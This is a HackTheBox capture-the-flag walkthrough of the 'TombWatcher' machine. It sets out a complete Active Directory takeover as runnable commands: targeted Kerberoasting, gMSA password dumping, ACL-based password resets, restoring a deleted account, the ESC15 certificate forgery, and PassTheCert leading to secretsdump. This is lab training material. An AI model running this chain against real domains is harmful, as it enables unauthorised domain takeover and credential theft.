TombWatcher — AD Privilege Chain to ESC15 (CVE-2024-49019) Domain Takeover
Introduction
TombWatcher is a Medium Windows Active Directory machine on HackTheBox that teaches you something important: privilege escalation in AD is rarely a single exploit. It is a chain. You start with one low-privilege user, analyse the graph of permissions with BloodHound, and follow a sequence of abusable ACEs — each one a stepping stone to the next account.
The machine is particularly interesting because:
- It covers WriteSPN abuse (targeted Kerberoasting without owning the account)
- It involves a Group Managed Service Account (gMSA) and its readable password
- It requires restoring a deleted AD object to unlock the final path
- The privilege escalation is ESC15 / CVE-2024-49019, a 2024 ADCS vulnerability that abuses Schema Version 1 certificate templates to inject arbitrary EKUs
- The final step is bypassing a Kerberos PKINIT restriction by pivoting to Schannel (LDAPS + PassTheCert)
If you have never done a full BloodHound chain before, this machine is an excellent training ground.
Attack Chain Summary
henry (given creds)
↓ WriteSPN on alfred
Kerberoast alfred → crack → basketball
↓ AddSelf to INFRASTRUCTURE group
ReadGMSAPassword → ansible_dev$ NT hash
↓ ForceChangePassword on sam
sam (Password123)
↓ WriteOwner → GenericAll on john
john (Password123)
↓ PSRemote → WinRM → USER FLAG
↓ GenericAll on OU=ADCS
Restore deleted object: cert_admin
↓ ESC15 (CVE-2024-49019) on WebServer template
Certipy fork (esc15-ekuwu) → administrator.pfx
↓ PKINIT blocked → pivot to Schannel
ptc.py (PassTheCert) → reset administrator password
secretsdump / wmiexec → ROOT FLAG
Reconnaissance
Nmap
sudo nmap -sS -sV -sC -p- 10.129.232.167 -oA tombwatcher_full
Key open ports:
| Port | Service | Notes |
|---|---|---|
| 53 | DNS | Simple DNS Plus — confirms DC role |
| 80 | HTTP | Microsoft IIS 10.0 |
| 88 | Kerberos | Confirms Active Directory |
| 135 | MSRPC | Windows RPC |
| 139/445 | SMB | SMBv1 disabled, signing required |
| 389/636 | LDAP/LDAPS | Domain: tombwatcher.htb |
| 3268/3269 | Global Catalog | Forest-wide LDAP |
| 5985 | WinRM | Remote management — target for shell |
The combination of ports 88 (Kerberos), 389 (LDAP), 445 (SMB), and 5985 (WinRM) is the classic Windows Domain Controller fingerprint. We are dealing with DC01.tombwatcher.htb in domain tombwatcher.htb.
Add the target to /etc/hosts:
echo "10.129.232.167 DC01.tombwatcher.htb tombwatcher.htb" | sudo tee -a /etc/hosts
Note on clock skew: Nmap reports a 4-hour clock difference between attacker and target. Kerberos is time-sensitive (default tolerance: ±5 minutes). Sync your clock if Kerberos tickets start failing:
sudo ntpdate 10.129.232.167
# or
sudo faketime -f '+4h' <command>
Enumeration
DNS Recon
dnsrecon -d tombwatcher.htb -n 10.129.232.167
Confirms DC01.tombwatcher.htb is the sole nameserver and Global Catalog server. No sub-domains discovered.
SMB Enumeration
We were given initial credentials: henry / H3nry_987TGV!. Let’s validate them and enumerate.
# Validate creds and list shares
crackmapexec smb 10.129.232.167 -u henry -p 'H3nry_987TGV!' --shares
Output shows Henry can authenticate, but only has READ access to IPC$, NETLOGON, and SYSVOL — the standard low-privilege shares.
# Enumerate domain users
crackmapexec smb 10.129.232.167 -u henry -p 'H3nry_987TGV!' --users
Users discovered:
Administrator,Guest,krbtgt(built-ins)Henry,Alfred,sam,john(interesting targets)
User Enumeration with Kerbrute
./kerbrute userenum -d tombwatcher.htb --dc 10.129.232.167 \
/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
kerbrute sends Kerberos AS-REQ packets to check if usernames exist. It is noiseless compared to LDAP queries and does not trigger account lockouts. Confirmed: john, henry, sam, alfred, administrator.
AS-REP Roasting & Kerberoasting (Negative)
# Check for accounts with Kerberos pre-auth disabled (AS-REP Roasting)
impacket-GetNPUsers tombwatcher.htb/henry:'H3nry_987TGV!' -dc-ip 10.129.232.167 -request
# No entries found
# Check for Service Principal Names (Kerberoasting)
impacket-GetUserSPNs tombwatcher.htb/henry:'H3nry_987TGV!' -dc-ip 10.129.232.167 -request
# No entries found
No low-hanging Kerberos fruit. Time to run BloodHound.
HTTP
ffuf -u http://tombwatcher.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt \
-mc 200,301,302,403 -e .php,.bak,.old,.txt,.config -t 50
Only /aspnet_client/ returned (a default IIS directory). The web server is a dead end.
BloodHound Collection
bloodhound-python -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb -ns 10.129.232.167 -c all
bloodhound-python (-c all) collects users, groups, GPOs, ACLs, sessions, and trusts via LDAP and RPC. Import the resulting JSON files into BloodHound and start analysing the graph.
Foothold / Initial Access
Step 1 — WriteSPN Abuse (Targeted Kerberoasting)
BloodHound reveals: henry has WriteSPN on alfred.
WriteSPN means henry can write to Alfred’s servicePrincipalName attribute in LDAP. Why does this matter? Kerberos issues service tickets (TGS) for accounts that have a SPN. If we add a fake SPN to Alfred’s account, the KDC will encrypt a ticket with Alfred’s NTLM hash — which we can then crack offline.
This is called targeted Kerberoasting: we force a non-service account to become Kerberoastable.
# Add a fake SPN to alfred's account
bloodyAD --host 10.129.232.167 -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' \
set object alfred servicePrincipalName -v 'MSSQLSvc/alfred.tombwatcher.htb:1433'
Now request the ticket:
impacket-GetUserSPNs tombwatcher.htb/henry:'H3nry_987TGV!' -dc-ip 10.129.232.167 -request -outputfile alfred_tgs.txt
Crack the TGS hash with Hashcat:
hashcat -m 13100 alfred_tgs.txt /usr/share/wordlists/rockyou.txt
-m 13100targets the$krb5tgs$23$*format (RC4-HMAC encrypted TGS)- Result:
alfred:basketball
Step 2 — AddSelf to INFRASTRUCTURE Group
BloodHound shows: alfred has AddSelf on group INFRASTRUCTURE.
AddSelf is a delegated permission that allows a principal to add themselves to a group without needing to be an admin.
bloodyAD --host 10.129.232.167 -d tombwatcher.htb -u alfred -p 'basketball' \
add groupMember infrastructure alfred
Why does this matter? The INFRASTRUCTURE group has ReadGMSAPassword on the account ansible_dev$.
Step 3 — Dump gMSA Password
A Group Managed Service Account (gMSA) is a special AD account designed to run services securely. Its password is automatically rotated by domain controllers and can be 120+ characters. However, specific groups can be delegated the right to read that password — and those groups are stored in Active Directory.
python3 gMSADumper.py -u 'alfred' -p 'basketball' -d 'tombwatcher.htb' -l 10.129.232.167
Output:
ansible_dev$:::b91f529d36292ba764273e5dd7b90fa1
ansible_dev$:aes256-cts-hmac-sha1-96:3eafb50e4a2d0982e7f8ac906387f812703bab1a23d300d5cb450639bb359f7b
We now have the NT hash for ansible_dev$. We can use it for Pass-the-Hash without needing to crack it.
Step 4 — ForceChangePassword: ansible_dev$ → sam
BloodHound: ansible_dev$ has ForceChangePassword on sam.
ForceChangePassword is an AD permission that allows resetting a user’s password without knowing the current one. It is equivalent to an admin password reset.
bloodyAD -d tombwatcher.htb -u 'ansible_dev$' -p ':b91f529d36292ba764273e5dd7b90fa1' \
--host 10.129.232.167 set password sam 'Password123'
Note the : prefix before the hash — this tells bloodyAD to treat the value as an NTLM hash for Pass-the-Hash authentication.
Step 5 — WriteOwner + GenericAll: sam → john
BloodHound: sam has WriteOwner on john.
WriteOwner allows sam to become the owner of john’s AD object. Once you own an object, you can grant yourself any permission on it — including GenericAll (full control).
# Step 1: Become the owner of john's object
bloodyAD -u 'sam' -p 'Password123' -d 'tombwatcher.htb' -H '10.129.232.167' \
set owner 'CN=john,CN=Users,DC=tombwatcher,DC=htb' 'sam'
# Step 2: Grant ourselves GenericAll
bloodyAD -u 'sam' -p 'Password123' -d 'tombwatcher.htb' -H '10.129.232.167' \
add genericall 'CN=john,CN=Users,DC=tombwatcher,DC=htb' 'sam'
# Step 3: Reset john's password
bloodyAD -u 'sam' -p 'Password123' -d 'tombwatcher.htb' -H '10.129.232.167' \
set password 'CN=john,CN=Users,DC=tombwatcher,DC=htb' 'Password123'
Step 6 — WinRM Shell as john → User Flag
BloodHound: john has PSRemote rights on DC01 (membership in the Remote Management Users group).
evil-winrm -i 10.129.232.167 -u 'john' -p 'Password123'
*Evil-WinRM* PS C:\Users\john\Desktop> type user.txt
[redacted]

Privilege Escalation
Step 7 — GenericAll on OU=ADCS → Restore cert_admin
BloodHound: john has GenericAll on the object ADCS. At first glance this looks like a certificate template — but checking the full Distinguished Name reveals it is actually an Organizational Unit: OU=ADCS,DC=tombwatcher,DC=htb.
GenericAll on an OU means full control over everything inside it, including the ability to create objects or restore deleted ones into it.
First, enumerate deleted objects to find orphaned SIDs:
ldapsearch -H ldap://10.129.232.167 -D "JOHN@TOMBWATCHER.HTB" -w "Password123" \
-b "CN=Deleted Objects,DC=tombwatcher,DC=htb" \
-E showDeleted "(objectClass=*)" sAMAccountName objectSid
We find three deleted entries named cert_admin. The one we care about has objectSid ending in VwQAAA== — which decodes to RID 1111. This matches the orphaned SID (S-1-5-21-...-1111) that Certipy was reporting as unresolvable in the WebServer template permissions.
Grant ourselves DACL write access to the OU:
python3 dacledit.py -action 'write' -rights 'FullControl' -inheritance \
-principal 'john' -target-dn 'OU=ADCS,DC=TOMBWATCHER,DC=HTB' \
TOMBWATCHER.HTB/john:'Password123'
Restore the deleted account into the OU:
bloodyAD -d TOMBWATCHER.HTB -u 'JOHN' -p 'Password123' -H 10.129.232.167 \
set restore 'CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb'
Set a new password for the restored account:
bloodyAD --host 'dc01.tombwatcher.htb' -d 'tombwatcher.htb' -u 'john' -p 'Password123' \
set password cert_admin 'rogue'
Step 8 — ESC15 / CVE-2024-49019 via cert_admin
Now scan the CA with cert_admin’s credentials:
certipy-ad find -dc-host dc01.tombwatcher.htb -u cert_admin@tombwatcher.htb -p 'rogue' \
-vulnerable -stdout
Output reveals:
ESC15 : Enrollee supplies subject and schema version is 1.
Only applicable if the environment has not been patched.
See CVE-2024-49019 or the wiki for more details.
What is ESC15 / CVE-2024-49019?
Certificate templates have a schema version. Version 1 templates are legacy and allow the enrollee to supply the Subject Alternative Name (SAN). More dangerously, Schema Version 1 templates also allow an attacker to inject arbitrary Extended Key Usage (EKU) values into the certificate request — including Client Authentication + Smart Card Logon. This is what ESC15 exploits.
Combined with EnrolleeSuppliesSubject, an attacker with enroll rights can request a certificate impersonating any user (e.g., Administrator) with an EKU that the KDC will accept for authentication.
Why is the standard Certipy not enough?
The public Certipy release (v5.x) does not natively support the --application-policies flag required for EKU injection. We need the community fork:
git clone -b esc15-ekuwu --single-branch https://github.com/dru1d-foofus/Certipy
cd Certipy
Request the certificate impersonating Administrator:
PYTHONPATH=. python3 certipy/entry.py req \
-ca tombwatcher-CA-1 \
-username cert_admin \
-p 'rogue' \
-dc-ip 10.129.232.167 \
-template WebServer \
-upn 'administrator@tombwatcher.htb' \
--application-policies '1.3.6.1.5.5.7.3.2' \
-target-ip 10.129.232.167
-upn administrator@tombwatcher.htb— forges the Subject Alternative Name as Administrator--application-policies 1.3.6.1.5.5.7.3.2— injects the Client Authentication OID as an Application Policy (exploiting the Schema v1 quirk)- Result:
administrator.pfxgenerated
Step 9 — Pivot to Schannel (PassTheCert)
Attempting standard PKINIT authentication fails:
[-] KDC_ERR_INCONSISTENT_KEY_PURPOSE — Certificate cannot be used for PKINIT client authentication
The KDC rejects our certificate for Kerberos because it lacks the Smart Card Logon OID, and injecting that OID directly triggers an RPC access denied from the CA.
Solution: Schannel / PassTheCert
Instead of Kerberos, we use the certificate for a Schannel (SSL/TLS) mutual authentication directly against LDAPS (port 636). This lets us authenticate as Administrator to Active Directory and perform LDAP operations — including resetting the Administrator password.
Extract certificate components:
openssl pkcs12 -in administrator.pfx -nocerts -out administrator.key -nodes
openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out administrator.crt
openssl x509 -in administrator.crt -out administrator.crt
The first attempt at ptc.py fails:
socket ssl wrapping error: [SSL: CA_MD_TOO_WEAK] ca md too weak
The CA uses a weak signature algorithm (SHA-1/MD5). Modern OpenSSL 3.x rejects this by default. Fix by lowering the security level — add to the end of /etc/ssl/openssl.cnf:
[default_conf]
ssl_conf = ssl_sect
[ssl_sect]
system_default = system_default_sect
[system_default_sect]
MinProtocol = TLSv1.2
CipherString = DEFAULT:@SECLEVEL=0
Now run PassTheCert to reset the Administrator password:
python3 ptc.py -action modify_user \
-target 'administrator' \
-new-pass 'Compromised123!' \
-crt administrator.crt \
-key administrator.key \
-domain tombwatcher.htb \
-dc-ip 10.129.232.167
[*] Successfully changed administrator password to: Compromised123!
Step 10 — Domain Admin & Root Flag
Dump all domain secrets:
secretsdump.py tombwatcher.htb/administrator:'Compromised123!'@10.129.232.167
Or use Pass-the-Hash with the extracted NT hash:
wmiexec.py tombwatcher.htb/Administrator@10.129.232.167 -hashes :3644ac5e3d9441ccbcef08cbaf98e910
C:\Users\Administrator\Desktop> type root.txt
[redacted]
Flags
User flag : [redacted]
Root flag : [redacted]
Key Takeaways
-
BloodHound is not optional on AD boxes. The entire attack path here is invisible without it. Run it early, import everything, and use “Shortest Paths to Domain Admin” as your starting query.
-
WriteSPN = instant Kerberoasting target. If you have the ability to write to a user’s
servicePrincipalName, you can manufacture a Kerberoastable account on demand. The target does not need to have a SPN already. -
gMSA passwords are readable by design — check who has the rights.
ReadGMSAPassworddelegated to a group is a common misconfiguration. Once you are in that group, the NT hash is yours without cracking. -
Deleted AD objects can retain permissions.
cert_adminwas deleted but its SID was still referenced in an ADCS template ACL. Restoring a deleted object (with the right permissions) brings back a privileged identity. Always checkCN=Deleted Objectswhen you see unresolvable SIDs in BloodHound or Certipy output. -
ESC15 / CVE-2024-49019 requires a fork. The public Certipy does not support EKU injection via
--application-policies. If Certipy reports ESC15, you need theesc15-ekuwufork from dru1d-foofus. Also remember: if PKINIT fails, Schannel (LDAPS) is your fallback for using a client authentication certificate.
Resources
- CVE-2024-49019 — ESC15 ADCS Schema Version 1 EKU injection
- Certipy ESC15 fork (dru1d-foofus)
- PassTheCert / ptc.py
- bloodyAD — Swiss-army knife for AD ACL abuse
- gMSADumper
- HackTricks — ADCS ESC15
- BloodHound CE Documentation
SCREENSHOTS À AJOUTER :
- 01-bloodhound-psremote.png → BloodHound graph showing henry→alfred→INFRASTRUCTURE→ansible_dev$→sam→john chain
- 02-bloodhound-writespn.png → BloodHound edge: henry WriteSPN on alfred
- 03-bloodhound-addself.png → BloodHound edge: alfred AddSelf to INFRASTRUCTURE
- 04-bloodhound-gmsapassword.png → BloodHound edge: INFRASTRUCTURE ReadGMSAPassword on ansible_dev$
- 05-bloodhound-writeowner.png → BloodHound edge: sam WriteOwner on john
- 06-bloodhound-adcs.png → BloodHound edge: john GenericAll on OU=ADCS
- 07-certipy-esc15.png → Certipy output showing ESC15 vulnerability
- 08-passthecert.png → ptc.py successfully resetting administrator password
- 09-root.png → wmiexec shell reading root.txt